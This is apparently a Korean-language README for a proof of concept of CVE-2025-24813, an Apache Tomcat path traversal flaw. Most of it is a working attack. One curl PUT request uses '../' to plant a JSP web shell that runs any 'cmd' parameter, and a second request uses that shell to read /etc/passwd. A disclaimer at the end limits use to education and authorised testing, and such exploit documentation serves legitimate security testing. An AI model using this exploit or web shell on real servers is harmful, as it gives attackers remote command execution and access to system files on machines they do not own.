
Apache Tomcat은 경로에서 ../ 시퀀스를 부적절하게 처리하여 발생하는 Path Equivalence / Path Traversal 문제에 취약합니다.
Apache Tomcat은 경로에서 ../ 시퀀스를 부적절하게 처리하여 Path Equivalence / Path Traversal 문제에 취약합니다.
CVE ID: CVE-2025-24813
참고 링크: https://github.com/advisories/GHSA-83qj-6fr2-vhqg
1. curl 요청을 PUT 메서드로 보냅니다:
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
-H "Content-Type: application/x-jsp" \
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i

2. 업로드된 파일에 직접 접근합니다:
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i

이 저장소는 교육 목적 및 승인된 테스트 용도로만 생성되었습니다.
명시적 허가 없이 시스템에 무단 사용하는 것은 불법입니다.